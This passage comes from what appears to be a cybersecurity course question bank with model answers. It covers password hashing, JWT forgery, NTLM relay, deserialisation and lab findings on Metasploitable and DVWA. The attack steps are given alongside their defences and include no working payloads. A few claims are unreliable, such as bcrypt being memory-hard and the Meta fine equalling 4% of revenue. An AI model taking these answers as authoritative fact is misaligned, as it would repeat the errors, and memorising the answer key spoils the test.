(2) Strong authentication with MFA: Financial data justifies phishing-resistant MFA (FIDO2/WebAuthn hardware keys or TOTP at minimum). Enforce MFA for all users, with privileged operations (bulk exports, configuration changes) requiring step-up authentication. Single sign-on via OIDC/SAML from each tenant's identity provider is preferred — allows enterprises to enforce their own MFA and authentication policies.

(3) Least-privilege roles and attribute-based access: Define granular roles (read-only analyst, report publisher, admin) and enforce them consistently. Sensitive operations (data export, user management, API key creation) require explicit elevated roles, not just being authenticated. Regular automated access reviews to revoke stale permissions.

(4) Secrets and API key management: API keys issued to tenant applications must be hashed (not stored in plaintext), scoped to minimum permissions, short-lived where possible, and immediately revocable. Provide audit logs of all API key usage per tenant.

(5) Audit logging per tenant: Every financial data access, modification, and export must be logged with: authenticated user, tenant, timestamp, action, resource, and outcome. Logs must be accessible to tenant admins for their own data, while isolated from other tenants. Logs must be immutable and retained for regulatory periods.

(6) Data encryption with tenant-specific keys: Consider tenant-specific encryption keys for data at rest (envelope encryption: each tenant's data encrypted with a data key, which is itself encrypted with a tenant master key). Key compromise then affects only one tenant rather than all tenants.

(7) Rate limiting and abuse prevention: Per-tenant rate limits on API endpoints prevent one tenant from degrading service for others. Anomaly detection per tenant (unusual access volumes, access from unexpected geographies) triggers alerts.

Q446: Compare three approaches to storing passwords: plaintext, unsalted MD5, and bcrypt with salt. For each, describe what an attacker can do if they steal the database, how long it takes, and why each is or isn't acceptable.

Model Answer:

Plaintext: Attacker action — immediately read all passwords. No cracking required. All accounts compromised instantly. The attacker can also attempt those passwords on every other service each user accounts with (credential stuffing). Time to full compromise: instant. Acceptable: never. There is no legitimate technical reason to store passwords in plaintext. Any system doing so represents fundamental negligence.

Unsalted MD5: Attacker action — run MD5 hashes against precomputed rainbow tables or wordlist attacks. On modern GPU hardware, MD5 can be computed at billions of hashes per second. Common passwords (from rockyou.txt and similar lists) crack in seconds to minutes. Without salts, a single rainbow table covers all users with the same password simultaneously — cracking one user's hash instantly cracks all users with the same password. Time to significant compromise: minutes to hours for most real-world passwords; complex random passwords take longer but are rare. Acceptable: never for new systems. MD5 was never designed for password storage and provides negligible resistance to modern cracking hardware. The course lab demonstrated cracking 12,000 of 50,000 MD5 hashes in 4 hours using only rockyou.txt.

bcrypt with salt (work factor 12): Attacker action — must crack each password hash individually using brute force; no rainbow tables because each hash has a unique salt. bcrypt with work factor 12 takes approximately 250-300ms per attempt on a single CPU. GPU parallelisation is much less effective than for MD5 (bcrypt is designed to be memory-hard and sequential, resisting GPU parallelism). A dedicated GPU cluster might achieve ~10,000 bcrypt-12 attempts per second — cracking a 10-character random alphanumeric password would take years. Simple dictionary passwords (from rockyou.txt) still crack in hours to days. Time to significant compromise: strong passwords — practically infeasible. Weak/common passwords — hours to days. Acceptable: yes, bcrypt is a currently acceptable password hashing algorithm. Argon2id is the current best practice recommendation (memory-hard, resists both GPU and ASIC attacks), but bcrypt remains acceptable when configured with appropriate work factors.

Q447: An organisation receives a report that a former employee still has active VPN credentials six weeks after their departure. Write out the immediate incident response actions and identify five process failures this reveals.

Model Answer:

Immediate incident response actions:

(1) Immediate credential revocation: Disable the VPN account, all associated SSO accounts, email access, and any other credentials the former employee held — immediately upon confirmation of the report, before any investigation. The risk of ongoing access outweighs any investigative benefit of leaving credentials active.

(2) Access log review: Pull VPN connection logs for the former employee's account for the past six weeks. Determine: was the account used after their departure date? If so, when, from what IP addresses, and to which internal systems? Was any data accessed or downloaded? Are there signs of lateral movement to other accounts?

(3) Scope assessment: Determine what systems the account had access to through VPN. Review which file shares, applications, and data the account permissions covered. Assess what sensitive data may have been accessible.

(4) Evidence preservation: Export and hash all relevant log files before making any system changes that might affect them. Preserve in tamper-evident form.

(5) Assess GDPR / regulatory obligation: If the former employee accessed personal data of customers or employees during the post-departure window, this may constitute a personal data breach requiring supervisory authority notification within 72 hours.

Five process failures revealed:

(1) No automated off-boarding: There is no automated workflow that disables all accounts on an employee's last day (or in advance for planned departures). Account disabling should be a mandatory step triggered by the HR system on the departure date.

(2) No privileged account inventory: The organisation does not have a complete, maintained inventory of all accounts and credentials held by each employee — otherwise the gap would have been caught during off-boarding.

(3) No regular access reviews: Periodic reviews of active VPN and SSO accounts would catch orphaned accounts. This one went undetected for six weeks, suggesting access reviews either don't happen or are infrequent.

(4) No VPN activity monitoring or alerting: If VPN connection logs were being monitored, a login from a terminated employee's account should have triggered an immediate alert. The absence of such detection indicates monitoring gaps.

(5) Separation of HR and IT off-boarding: The departure was processed by HR but the information was not reliably communicated to IT for account disabling. The process lacks a reliable trigger from HR departure to IT action.

Q448: Explain the concept of 'secure defaults' in software and system design. Give five examples from different domains where insecure defaults have caused real-world security incidents.

Model Answer:

Secure defaults means that out-of-the-box configuration of a system, product, or service should be the most secure reasonable option — users and administrators should have to actively choose to make something less secure, not actively choose to make it more secure.

The principle addresses the reality that most deployments use default configuration. Administrators under time pressure, junior operators, or those unfamiliar with all available settings will leave defaults in place. If defaults are insecure, the majority of deployments will be insecure.

Five examples of insecure defaults causing real-world incidents:

(1) Metasploitable / default credentials (vagrant:vagrant, kali:kali, msfadmin:msfadmin): These lab VMs illustrate the general problem — many production devices (routers, IP cameras, industrial controllers, cloud VMs) are deployed with vendor-documented default credentials that are never changed. The Mirai botnet (2016) compromised millions of IoT devices using a list of only 62 default username/password combinations and generated record DDoS traffic of 1.2 Tbps. Secure default: force credential change on first boot; prohibit devices from operating with factory default credentials.

(2) SMBv1 enabled by default in Windows: Windows shipped with SMBv1 enabled by default for decades for legacy compatibility. EternalBlue exploited SMBv1. Microsoft disabled it by default in Windows 10 1709 — years after the exploit was known. Secure default: disable legacy protocol versions by default; require explicit opt-in for backward compatibility.

(3) MongoDB with no authentication by default: Early MongoDB versions shipped with no authentication required by default, binding to all network interfaces. Thousands of databases were exposed to the internet with no access control. Secure default: require authentication before any data access; bind only to localhost by default.

(4) AWS S3 bucket public access: Before AWS introduced account-level Block Public Access controls, S3 buckets could be made publicly accessible through IAM policies, and many organisations accidentally exposed sensitive data. High-profile breaches exposed voter records, healthcare data, and code repositories. Secure default: object storage should be private by default; public access should require multiple explicit opt-in steps.

(5) HTTP instead of HTTPS: Many web frameworks and development servers default to HTTP with no TLS. Developers deploy applications to production on HTTP, exposing credentials and session tokens in transit. Secure default: require TLS configuration before serving any traffic; redirect all HTTP to HTTPS automatically.

Q449: Explain what a timing side-channel attack is. Give a concrete example in web authentication, and describe how constant-time comparison functions prevent it.

Model Answer:

A timing side-channel attack exploits variations in the time a computation takes to extract information about secret values. If an operation takes measurably longer for some inputs than others, an attacker can infer properties of the secret by carefully measuring response times.

Concrete example in web authentication — password hash comparison: A naive string comparison function (strcmp in C, == in Python for strings) performs a character-by-character comparison and returns early (fails) as soon as it finds the first non-matching character. If comparing a submitted HMAC tag against a stored one: - Matching at position 0, failing at position 1: returns after 2 comparisons (~2 nanoseconds). - Matching at positions 0-15, failing at position 16: returns after 16 comparisons (~16 nanoseconds).

An attacker submitting thousands of candidates and measuring response times can determine, character by character, when their guess matches further into the correct value — reducing the search space from brute-force to incremental matching.

This is particularly dangerous for HMAC verification, token comparison, and session token validation — all cases where the secret value is fixed and the attacker can submit many candidates.

How constant-time comparison prevents it: A constant-time comparison function always performs exactly the same number of operations regardless of where (or whether) a mismatch occurs. Instead of early return on

mismatch, it XORs all byte differences and checks if the result is zero at the end:

```
``` def constant_time_equal(a, b): if len(a) != len(b): return False result = 0 for x, y in zip(a, b): result |= x ^ y return result == 0 ```
```

This always iterates through all bytes. The time is constant for any pair of same-length strings. Python's `hmac.compare_digest()` and similar library functions implement this correctly. Security principle: never use standard equality operators to compare secrets, MACs, tokens, or any value whose contents should not be learnable from timing.

**Q450: What is the difference between authentication and identity federation? Explain SAML and how it enables single sign-on across organisational boundaries.**

**Model Answer:**

**Authentication:** The process of verifying that a claimed identity is genuine — the user proves who they are to one specific service, typically with a password, MFA, or certificate. Each service manages its own identity store and authentication logic.

**Identity federation:** A trust relationship established between identity providers (IdPs) and service providers (SPs) that allows users authenticated by one organisation to access services at another organisation without re-authenticating with a separate credential. The user authenticates once to their home IdP, and that authentication assertion is trusted by federated SPs.

**SAML (Security Assertion Markup Language):** An XML-based open standard for exchanging authentication and authorisation information between an IdP and SP.

How SAML enables cross-organisational SSO: (1) User attempts to access a SP (e.g., a cloud application). (2) SP does not have an active session — it redirects the user to the SP's configured IdP (e.g., the user's employer's Active Directory Federation Services or Azure AD). (3) The IdP authenticates the user (password, MFA, smart card — whatever the employer requires). (4) The IdP issues a SAML Assertion — an XML document containing: the user's identity attributes (email, group memberships), the IdP's digital signature (proving the assertion is authentic), an audience restriction (only the intended SP should accept it), and a time window (preventing replay attacks). (5) The assertion is sent back to the SP (typically via the user's browser in a POST request). (6) The SP verifies the IdP's signature using the pre-established trust relationship (the SP has the IdP's public key or certificate). (7) If valid, the SP grants access based on the assertion's attributes.

**Security properties:** The SP never sees the user's password. The IdP's signature prevents forgery. The audience restriction prevents one SP from using an assertion meant for another. The time window prevents replay. Organisations can enforce their own authentication strength policies at the IdP, which automatically applies to all federated SPs.

**Q451: What is the concept of 'trust but verify' versus 'zero trust'? How do these principles manifest differently in network architecture decisions?**

**Model Answer:**

**'Trust but verify' (perimeter model):** The traditional approach treats the internal network as a trusted zone. Devices and users inside the corporate perimeter (having passed VPN or physical access controls) are assumed to be legitimate and granted broad access to internal resources. Verification happens primarily at the perimeter — once inside, trust is largely implicit. Monitoring may occur but is reactive rather than

continuous.

Network architecture manifestation: Flat internal networks with broad east-west access, VPN providing full internal network access to remote users, internal servers accessible to all internal hosts by default, basic AD domain membership as the primary trust signal for internal access.

Problem: This model fails when the perimeter is breached (phishing gets credentials, physical access is compromised, a supply-chain attack bypasses perimeter entirely). Once inside, an attacker has broad lateral movement capability.

'Zero trust' (continuous verification model): No entity — device, user, service, or network location — is inherently trusted. Every access request must be explicitly verified based on identity, device health, context (time, location, behaviour), and sensitivity of the resource being accessed.

Principles: (1) Verify explicitly — authenticate and authorise every request using all available signals. (2) Use least-privilege access — minimum necessary access per request, per session. (3) Assume breach — design containment, monitoring, and response as if compromise is ongoing.

Network architecture manifestation: Micro-segmentation replaces flat internal networks — workloads and users can only reach what they are explicitly authorised for. Software-defined perimeter — access to applications is mediated by a policy engine rather than network topology. Continuous posture checks — device compliance (OS version, patch level, certificate) is verified per request, not just at VPN login. Behavioural analytics — anomalous access patterns trigger additional verification regardless of network location. Identity is the primary perimeter, not network location.

**Q452: The course labs reveal several legacy remote-access protocols still running on Metasploitable 2: Telnet (port 23), rlogin (port 513), rsh (port 514), and rexec (port 512). For each, explain the specific security failure it represents and why it must be disabled in any production environment.**

**Model Answer:**

These four services represent a cluster of 1980s-era remote-access technologies designed for trusted UNIX environments where all users were assumed to share administrative trust. They are preserved in Metasploitable 2 precisely because they demonstrate the full range of classic authentication and confidentiality failures.

Telnet (port 23): Transmits everything — including usernames and passwords — in cleartext over the network. Any attacker with network access between the client and server (via ARP spoofing, a compromised switch, or a network tap) can read credentials and session content with a simple packet capture (Wireshark). Security failure: no encryption, no integrity. Fix: replace with SSH, which provides encrypted and authenticated remote shell access.

rlogin (port 513): 'Remote login' service that uses .rhosts and /etc/hosts.equiv files for trust-based authentication. A .rhosts entry 'attacker\_host attacker\_user' means that user on that host can log in without any password. In Metasploitable 2, GVM confirmed passwordless root login (CVSS 10.0). Security failure: authentication is delegated entirely to IP address and hostname trust, which is trivially forged. No encryption. Fix: disable entirely; use SSH with key-based authentication.

rsh (port 514): 'Remote shell' — same .rhosts trust model as rlogin but for executing single commands. Same authentication bypass problem plus no encryption. CVSS 7.5 (cleartext, trust-based). Security failure: trust-based auth without cryptographic verification or encryption. Fix: disable entirely; use SSH.

rexec (port 512): 'Remote execution' service that does require a password, but transmits it in cleartext. An improvement over rlogin in concept but provides no real confidentiality. GVM rated CVSS 10.0. Security failure: cleartext password transmission over network, no integrity protection. Fix: disable entirely.

Why disabling is non-negotiable: These protocols were designed before network security was considered. In any environment with untrusted network access (the entire internet, any shared LAN), they constitute complete authentication and confidentiality failures. Their presence on a system is often itself a finding of critical severity, independent of whether active exploitation has occurred.

**Q453: Explain Nmap's six timing templates (-T0 through -T5). Why does timing matter for both detection evasion and lab accuracy, and which template is standard for the course labs?**

**Model Answer:**

Nmap's timing templates control the speed and aggressiveness of scans by adjusting parameters including parallelism, retransmit timeouts, and inter-probe delays.

-T0 (Paranoid): One probe every 5 minutes. Maximum stealth — designed for IDS evasion at the cost of extremely long scan times (days for a single host). Useful for covert professional engagements where detection must be avoided.

-T1 (Sneaky): Very slow. Significantly reduces detection probability by spacing probes far apart. Used in real engagements requiring IDS evasion while maintaining reasonable timescales.

-T2 (Polite): Slows scanning to avoid overloading targets or consuming bandwidth. Used when scanning fragile or production systems that might be disrupted by fast probes.

-T3 (Normal): Nmap's default. Balanced speed and reliability across most networks. Appropriate for general use when stealth is not a requirement.

-T4 (Aggressive): Standard for course lab use. Assumes a reliable local network with no bandwidth constraints. Faster parallelism and shorter timeouts. Produces results quickly on known lab targets without the precision penalties of normal timing. Not appropriate against production internet targets — may miss ports on slow systems or generate detectable scan traffic.

-T5 (Insane): Maximum speed at the cost of accuracy. May miss open ports on slow or overloaded systems due to very short timeouts. Used only when speed is the absolute priority and missed ports are acceptable.

Why timing matters for detection: Slower templates reduce packets-per-second, making scans harder to distinguish from legitimate traffic in IDS logs. Faster templates produce concentrated bursts detectable as port scan signatures.

Why timing matters for lab accuracy: T4 is appropriate for labs on a controlled LAN because all target VMs are local and reliable. Using T5 on any real system risks false 'closed' or 'filtered' results for genuinely open ports due to retransmit timeouts. The course standard of T4 provides speed for practical exercises while maintaining accurate results on the controlled Metasploitable targets.

**Q454: Explain the four main AES modes of operation: ECB, CBC, CTR, and GCM. Why is ECB mode never acceptable, and why is GCM the standard for modern encryption?**

**Model Answer:**

AES as a block cipher encrypts one 128-bit block at a time. A mode of operation specifies how multiple blocks are encrypted together. Choosing the wrong mode can make AES completely insecure regardless of key strength.

ECB (Electronic Codebook): Each block is encrypted independently with the same key. Same plaintext block always produces the same ciphertext block. Security failure: this leaks structure from the plaintext. The canonical demonstration is the 'ECB penguin' — encrypting a bitmap image with ECB produces ciphertext that clearly shows the original image outline because uniform colour regions produce repeating ciphertext blocks. Any data with patterns (structured records, repeated fields, protocol headers) leaks information. ECB is never acceptable for encrypting more than one block of data.

CBC (Cipher Block Chaining): Each plaintext block is XOR-ed with the previous ciphertext block before encryption, requiring an Initialisation Vector (IV) for the first block. Identical plaintext blocks produce different ciphertexts (as long as the IV is unique). Weakness: CBC-mode encryption provides confidentiality but NOT integrity — BEAST and POODLE attacks exploited CBC weaknesses in TLS. Additionally, decryption errors leak information through padding oracle attacks. CBC is sequential and cannot be parallelised for decryption.

CTR (Counter): Encrypts a counter value (nonce + incrementing counter) and XORs the result with plaintext, effectively turning AES into a stream cipher. Parallelisable (each block encrypted independently). Does not require padding. Still provides confidentiality only — no integrity or authenticity protection. Nonce reuse is catastrophic: reusing the same counter with the same key produces the same keystream, enabling XOR to cancel the encryption.

GCM (Galois/Counter Mode): Combines CTR mode for encryption with GHASH for authentication, producing an authentication tag (usually 128 bits). This is AEAD (Authenticated Encryption with Associated Data) — provides both confidentiality AND integrity/authenticity in a single operation. The authentication tag detects any modification of the ciphertext. Parallelisable. Used in TLS 1.3, HTTPS, SSH, VPNs. Standard in modern

cryptography because it addresses the fundamental limitation of all non-authenticated modes. Critical requirement: the nonce must be unique per (key, message) pair — nonce reuse under GCM breaks both confidentiality and authentication.

**Q455: Explain Shamir's Secret Sharing scheme (1979). How does a (t, n) threshold scheme work, and what is the information-theoretic security property it provides?**

**Model Answer:**

Shamir's Secret Sharing is a cryptographic scheme that splits a secret  $S$  into  $n$  shares, distributed to  $n$  parties, such that any  $t$  or more shares can reconstruct the secret, but any group of fewer than  $t$  shares reveals absolutely nothing about  $S$ .

Mathematical construction: The scheme uses polynomial interpolation over a finite field. To create a (t, n) threshold scheme: (1) Choose a random polynomial  $P(x)$  of degree  $t-1$  where  $P(0) = S$  (the secret). For example, with  $t=3$ :  $P(x) = S + a_1x + a_2x^2$  where  $a_1$  and  $a_2$  are random. (2) Generate  $n$  shares by evaluating the polynomial at  $n$  distinct non-zero points:  $\text{share}_i = P(i)$  for  $i = 1, 2, \dots, n$ . (3) Distribute  $\text{share}_i$  to party  $i$ .

Reconstruction: Any  $t$  parties who combine their shares can solve for the polynomial using Lagrange interpolation, recovering  $P(0) = S$ . Fewer than  $t$  shares are insufficient to determine the polynomial.

Information-theoretic security: Unlike computational security (which relies on hardness assumptions that could be broken by sufficient computing power), Shamir's scheme provides perfect secrecy for fewer than  $t$  shares. A group of  $t-1$  parties who combine their shares learn literally zero information about  $S$  — every possible value of  $S$  is equally consistent with the shares they hold. This is provably unconditional and holds even against an adversary with unlimited computing power.

Connection to MPC and course context: Shamir's 1979 construction is the foundational building block for modern MPC. The course notes it alongside Andrew Yao's work (1982, 1986) and Goldreich-Micali-Wigderson (1987) as a historical milestone. In MPC, parties hold shares of private inputs and compute on them without reconstructing to one location. The two-server Boolean XOR sharing used in the course labs is the simplest (2,2) threshold scheme — both shares needed, neither alone reveals anything.

**Q456: What is an SMB relay attack (NTLM relay)? How does it exploit Windows authentication, and what are the three primary mitigations?**

**Model Answer:**

An SMB relay attack exploits NTLM (NT LAN Manager) challenge-response authentication to relay authentication credentials from a victim to a target server, gaining access without ever knowing the plaintext password.

How NTLM authentication works: (1) Client sends authentication request to server. (2) Server sends a challenge (random nonce). (3) Client hashes the challenge with the user's password hash (NTLMv1/v2 response) and sends the response. (4) Server verifies the response (or forwards to a domain controller).

The relay: An attacker positions between victim and server (via ARP spoofing, LLMNR/NBT-NS poisoning, or other MITM): (1) Victim's machine initiates NTLM authentication to what it believes is a legitimate server. (2) Attacker receives the NTLM authentication initiation and simultaneously connects to the real target server. (3) Attacker forwards the challenge from the real server back to the victim. (4) Victim computes the response using their credentials and sends it to the attacker. (5) Attacker relays the response to the real target server.

(6) The real server validates the response (against the domain controller) and grants access to the attacker.

Why it is powerful: The attacker never needs to crack the password hash — they simply relay it in real time. If the victim is an administrator and the target machine doesn't require SMB signing, the attacker gets full administrative access. The Responder + ntlmrelayx.py toolchain automates this.

Three primary mitigations: (1) Enable SMB signing (mandatory): cryptographically sign all SMB traffic. Relay attacks fail because the relayed session's signature cannot be valid for a different connection. Should be enforced via Group Policy for all Windows domain members. (2) Disable NTLM where possible: enforce Kerberos authentication in Active Directory environments. NTLM is a legacy protocol — modern environments should prefer Kerberos which includes mutual authentication and prevents relay. (3) Disable LLMNR and NBT-NS: these name resolution protocols allow attackers to poison name lookups and redirect victims to attacker-controlled servers. Disabling them (via Group Policy) removes the most common initial vector for triggering NTLM authentication toward the attacker.

**Q457: What are HTTP security headers? Explain Content Security Policy (CSP), HTTP Strict Transport Security (HSTS), X-Frame-Options, and X-Content-Type-Options. What attack does each prevent?**

**Model Answer:**

HTTP security headers are directives sent from web server to browser in HTTP response headers that instruct the browser to enable specific security mechanisms. They are a defence-in-depth layer that hardens the browser-side security posture against common web attacks.

Content Security Policy (CSP): Instructs the browser which sources are allowed to load scripts, stylesheets, images, fonts, and other resources for a page. Example: Content-Security-Policy: default-src 'self'; script-src 'self' cdn.trusted.com. Attack prevented: XSS. If an attacker injects a malicious script tag, the browser refuses to execute it because the source (the attacker's domain) is not in the policy. A strict CSP that disallows inline scripts ('unsafe-inline') prevents inline XSS payloads. CSP is the strongest browser-side XSS mitigation available, though proper implementation is complex.

HTTP Strict Transport Security (HSTS): Instructs the browser to always connect to this domain over HTTPS for a specified period, even if the user types 'http://' or follows an HTTP link. Example: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload. Attack prevented: SSL stripping and protocol downgrade attacks. An attacker who intercepts the first HTTP request cannot serve the page because the browser enforces HTTPS before making any request. HSTS preloading (registering the domain in browser preload lists) eliminates even the first-visit HTTP request.

X-Frame-Options: Controls whether the page can be embedded in a frame or iframe on another domain. Values: DENY (never), SAMEORIGIN (only same origin), ALLOW-FROM uri (specific origin). Example: X-Frame-Options: DENY. Attack prevented: clickjacking — an attacker embeds the target page in an invisible iframe over a fake page, tricking the user into clicking elements on the real site (approving transfers, changing settings). Modern replacement: frame-ancestors directive in CSP.

X-Content-Type-Options: Instructs the browser not to perform MIME-type sniffing and always use the declared Content-Type. Value: X-Content-Type-Options: nosniff. Attack prevented: MIME confusion attacks where an attacker uploads a file claiming to be a JPEG but containing executable script. Older browsers that 'sniff' content and execute based on apparent type rather than declared type could execute the uploaded script. With nosniff, the browser respects the Content-Type header.

**Q458: What is a JSON Web Token (JWT)? Describe the structure, the 'none' algorithm attack, and the algorithm confusion attack. Why must servers always validate the algorithm?**

**Model Answer:**

A JWT (JSON Web Token) is a compact, URL-safe token format for securely transmitting claims between parties, commonly used for stateless authentication in REST APIs and single-page applications.

Structure: Three Base64url-encoded parts separated by dots: Header.Payload.Signature. Header: specifies token type and algorithm (e.g., `{'alg':'HS256','typ':'JWT'}`). Payload: contains claims — data like user ID, roles, expiration time (e.g., `{'sub':'user123','role':'user','exp':1700000000}`). Signature: cryptographic value over header+payload using the algorithm specified in the header.

The 'none' algorithm attack: JWT allows an `'alg':'none'` value in the header, meaning no signature is required. If a server accepts this, an attacker can: (1) Take a valid JWT, (2) Decode it, (3) Modify the payload (change `'role':'user'` to `'role':'admin'`), (4) Re-encode with header `'alg':'none'` and an empty signature. (5) The server accepts the modified token without verifying any signature. Fix: the server must never accept `'alg':'none'` for tokens requiring authentication. Validate algorithm against an explicit whitelist of permitted algorithms.

Algorithm confusion (RS256 → HS256): Some JWT libraries verify the token using the algorithm specified in the header. If a server was configured for RS256 (asymmetric — public key verifies), an attacker can: (1) Change the header from `'alg':'RS256'` to `'alg':'HS256'` (symmetric — HMAC). (2) Sign the modified token using the server's RSA public key (which is public and may be known) as the HMAC secret. (3) The vulnerable library uses the public key as the HMAC secret for verification — and the attacker's token verifies correctly. Fix: servers must validate the algorithm against a server-side-defined expected algorithm, never against the algorithm the token claims to use. The token header's algorithm claim is attacker-controlled and must not be trusted for algorithm selection.

General JWT security requirements: Always validate signature before using claims, enforce algorithm whitelist, validate expiration (exp), validate issuer (iss) and audience (aud), use short lifetimes, and store tokens securely (HttpOnly cookies preferred over localStorage).

**Q459: What is an insecure deserialisation vulnerability? Why is it particularly dangerous in Java environments, and what class of OWASP Top 10 risk does it represent?**

**Model Answer:**

Serialisation is the process of converting an object's state to a byte stream (for storage or transmission).

Deserialisation reconstructs the object from the byte stream. Insecure deserialisation occurs when an application deserialises data from an untrusted source without validating it — the attacker crafts a malicious serialised object that triggers unintended code execution when deserialised.

Why Java is particularly affected: Java's native deserialisation mechanism (`ObjectInputStream.readObject()`) automatically invokes methods on objects as they are reconstructed from the byte stream. If the application's classpath contains 'gadget chains' — sequences of existing library classes whose methods, when invoked in sequence during deserialisation, perform dangerous operations — an attacker can trigger arbitrary code execution by crafting input that triggers these chains. The Apache Commons Collections library gadget chains (discovered by Frohoff and Lawrence, 2015) demonstrated that almost any Java application using this common library was vulnerable to remote code execution via deserialisation, even without any explicit deserialisation of 'dangerous' classes.

In the course lab context: Java RMI (port 1099) on Metasploitable 2 exposes a Java deserialisation attack surface. Java RMI uses Java native serialisation as its communication protocol. An attacker who can send

crafted serialised objects to the RMI registry can trigger gadget chain execution.

OWASP Top 10: Insecure deserialisation falls under A08:2021 — Software and Data Integrity Failures, which covers cases where code and infrastructure do not protect against integrity violations. Prior to 2021, it was A8:2017 — Insecure Deserialization in its own category.

Mitigations: (1) Avoid deserialising data from untrusted sources entirely. (2) Use safer serialisation formats (JSON with explicit schema validation) instead of native language serialisation. (3) If native Java deserialisation is required, implement serialisation filters (JEP 290) that whitelist which classes may be deserialised. (4) Keep libraries updated (remove gadget chains from the classpath). (5) Run deserialisation in a sandboxed environment with least privilege.

#### **Q460: What does 'assume breach' mean as an operational security mindset? How does it change architecture and monitoring decisions compared to 'prevent breach' thinking?**

##### **Model Answer:**

'Assume breach' is a security design principle that treats compromise as inevitable rather than merely possible — designing systems, architecture, monitoring, and response capabilities on the premise that an attacker has already obtained some foothold inside the environment.

'Prevent breach' thinking: Focus is primarily on keeping attackers out — strong perimeter defences, good patch management, access controls. Once attackers are inside, the assumption is that they already won. Internal network traffic is largely trusted; monitoring focuses on perimeter events.

Problems with prevent-only thinking: Sophisticated attackers consistently defeat perimeter defences through phishing, supply-chain compromise, zero-days, and credential theft. Once inside, they find flat networks with minimal monitoring, long dwell times (average breach-to-detection times historically measured in months), and no preparation for rapid response.

How 'assume breach' changes architecture: (1) Micro-segmentation: internal network is divided into small zones. Compromise of one zone does not grant access to others. A compromised developer laptop cannot directly reach the production database. (2) Least-privilege throughout: service accounts, workstations, and applications have minimum necessary permissions. Lateral movement requires repeated privilege escalation, each step creating detection opportunities. (3) Encrypted internal communications: treat internal traffic as potentially observed. Service-to-service TLS, encrypted databases, and mutual TLS (mTLS) between microservices. (4) Immutable infrastructure: servers rebuilt from images rather than patched in place — limits attacker ability to establish persistent backdoors in the live system.

How 'assume breach' changes monitoring: (1) Comprehensive internal logging: endpoint detection, process monitoring, east-west network traffic analysis — not just perimeter events. (2) Baseline and anomaly detection: detailed knowledge of normal behaviour enables detection of subtle lateral movement. (3) Threat hunting: proactively search for signs of attacker presence rather than waiting for automated alerts. (4) Tabletop exercises and IR preparedness: practise response workflows regularly rather than discovering gaps during an actual breach. (5) Purple team exercises: test detection capability by having red teamers simulate specific attacker behaviours against known detection controls.

Key principle: the goal shifts from 'keep attackers out entirely' to 'detect and contain compromise quickly, limit blast radius, and recover rapidly'.

**Q461: What triggers maximum GDPR fines versus standard fines? Give two real-world enforcement examples and explain what principles they violated.**

**Model Answer:**

GDPR establishes a two-tier fine structure under Article 83:

Standard tier (Article 83(4)): Up to €10 million or 2% of total worldwide annual turnover (whichever is higher). Applies to: violations of processor and controller obligations (Articles 8, 11, 25-39, 42, 43), supervisory authority orders (Articles 58, 42), certification body obligations.

Maximum tier (Article 83(5)): Up to €20 million or 4% of total worldwide annual turnover (whichever is higher). Applies to: violations of the basic processing principles (Article 5), lawfulness of processing (Article 6), consent conditions (Article 7), special-category data (Articles 9, 10), data subject rights (Articles 12-22), cross-border transfers (Articles 44-49), national law derogations, supervisory authority instructions.

The higher tier targets the most fundamental violations — processing without a legal basis, ignoring data subject rights, unlawful transfers. The lower tier targets procedural and governance failures.

Real-world enforcement examples:

(1) Meta (Facebook) — Ireland DPC, 2023, €1.2 billion: Meta transferred personal data of EU/EEA users to the US via Standard Contractual Clauses. The DPC and EDPB found that the SCCs did not provide sufficient protection given US surveillance law, and the transfers lacked adequate safeguards under Articles 44-49. Maximum tier — Article 46 cross-border transfer violation. The fine was 4% of Meta's global revenue. This is the largest GDPR fine to date.

(2) British Airways — ICO (UK), 2020, reduced to £20 million: BA suffered a breach where attackers harvested approximately 500,000 customers' personal data including payment card details through a skimming script injected into the BA website. The ICO found BA had failed to implement appropriate security measures under Article 32 (integrity and confidentiality principle, Article 5(1)(f)). Maximum tier — violation of Article 5 principles. Originally proposed at £183 million (1.5% global turnover); reduced in final decision accounting for COVID-19 economic impact and BA's cooperation.

**Q462: In Lab 2, the authenticated Nessus scan found 27 critical findings compared to 11 in the unauthenticated scan of the same Metasploitable 2 host. Explain specifically what the authenticated scan revealed that the unauthenticated one could not, and what this demonstrates about professional vulnerability assessment.**

**Model Answer:**

The authenticated scan (using msfadmin/msfadmin SSH credentials) connected to the Linux target and inspected its internal state directly — package versions, installed software, configuration files, and the authorised\_keys file. This produced a dramatically different picture.

Key findings exclusive to the authenticated scan:

Bash Shellshock (CVE-2014-6271, CVSS 9.8): This Bash vulnerability requires checking the bash binary or testing environment variable handling — neither visible from the network. Only accessible by inspecting the local system through SSH.

Weak Debian OpenSSH Keys (CVE-2008-0166, CVSS 9.8): The system had SSH keys generated by a Debian OpenSSL with a broken random number generator, producing a small predictable set of key pairs. Detection requires reading the authorised\_keys file — only possible with authenticated access.

229 unpatched Ubuntu package CVEs: The authenticated scan queried dpkg (the package manager) and compared installed package versions against the Ubuntu security advisory database. Packages including curl, openssl, libssl, python, and perl had known CVEs. These are entirely invisible to unauthenticated scans because no service exposes which packages are installed to the network.

Apache Log4j present (Log4Shell exposure): Software inventory via SSH revealed Log4j was installed — flagging potential CVE-2021-44228 exposure. An unauthenticated scan cannot determine what Java libraries are installed locally.

What this demonstrates about professional vulnerability assessment: (1) Unauthenticated scanning models an external attacker with no credentials — useful for understanding internet-facing exposure but systematically misses a large class of local vulnerabilities. (2) Authenticated scanning models an insider or an attacker who has already obtained credentials — reveals the true patch state of the system. In practice, both are required for a complete picture. (3) The classification 'external attack surface'  $\neq$  'total vulnerability surface' — organisations that only perform external scans are systematically unaware of what a post-exploitation attacker would find. (4) Credentials used for authenticated scanning must be managed securely, scoped to read-only access where possible, and revoked after the engagement — they represent privileged access and are themselves a security responsibility.

**Q463: In Lab 5, the SQL injection attack against DVWA extracted MD5 password hashes, which were then cracked to reveal plaintext passwords. Explain the complete attack chain from initial injection to plaintext credentials, and for each step identify the defensive control that should have prevented it.**

**Model Answer:**

The complete attack chain from the DVWA exercise:

Step 1 — Discovery: The attacker identifies a web form parameter (user ID) that queries the database and tests it with a single quote ('). The application returns a SQL error, revealing that the parameter is embedded directly in a SQL query without sanitisation. Defensive control: suppress detailed database errors to users — return generic 'An error occurred' messages while logging the actual error server-side. Preventing error disclosure reduces the attacker's ability to confirm injection and understand query structure.

